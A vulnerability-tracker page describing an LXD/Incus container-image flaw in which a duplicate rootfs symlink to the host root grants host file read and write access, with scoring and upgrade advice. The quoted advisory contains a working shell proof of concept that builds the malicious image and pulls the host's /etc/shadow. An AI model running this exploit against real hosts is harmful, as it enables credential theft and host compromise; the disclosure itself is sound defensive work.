Skip to main content
← Vulnerabilities

LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image

Exploited
No known exploitation
Fix
Fixed in 0.0.0-20260630083100-c5184be310b1
Who is exposed
Not reported

Do first: Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.

Published
Last modified
19/100 · provisional
Critical (ghsa)
None on Exploit-DB, Metasploit or GitHub

Summary

LXD can be made to give an attacker arbitrary read and write access to files on the host through a specially crafted container image that uses a symlink to point at the host's root filesystem. This could possibly lead to arbitrary command execution on the host.

Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.

Read the original description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

metadata.yaml
rootfs/
rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink


# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

cve.now Index

19Pcve.now Index 19 of 100 · methodology v3 · provisional
  • Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
  • Exposure?/25Unknown. No advisory context yet
  • Reach10/20Affects Go packages
  • Severity9/10Rated critical by ghsa
  • No patch0/5No signal

What would change the score

  • Would score about 74 if added to CISA KEV
  • Would score about 69 if CISA's SSVC rates exploitation active
  • Would score about 41 if advisories confirm default setups are exposed

What to do

  • Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.

Timeline

  1. Advisory published
  2. Record last updated
  3. First seen by cve.now

Affected versions

  • github.com/canonical/lxdGo

    fixed in 0.0.0-20260630083100-c5184be310b1

Evidence 14

  1. Advisory
  2. Advisory
  3. Advisory
  4. Repository
  5. Repository
Show all 14 sourcesShow fewer sources
  1. Repository
  2. Repository
  3. Repository
  4. Repository
  5. Repository
  6. Repository
  7. Repository
  8. Repository
  9. Repository

Corrections

None so far.

Something wrong on this page? Report an error. Every fix is listed here.

Questions about GHSA-VGHH-5RFX-XHQ8

Is GHSA-VGHH-5RFX-XHQ8 being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data

Which versions are affected by GHSA-VGHH-5RFX-XHQ8?

github.com/canonical/lxd (Go): before 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data

How do I fix GHSA-VGHH-5RFX-XHQ8?

Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data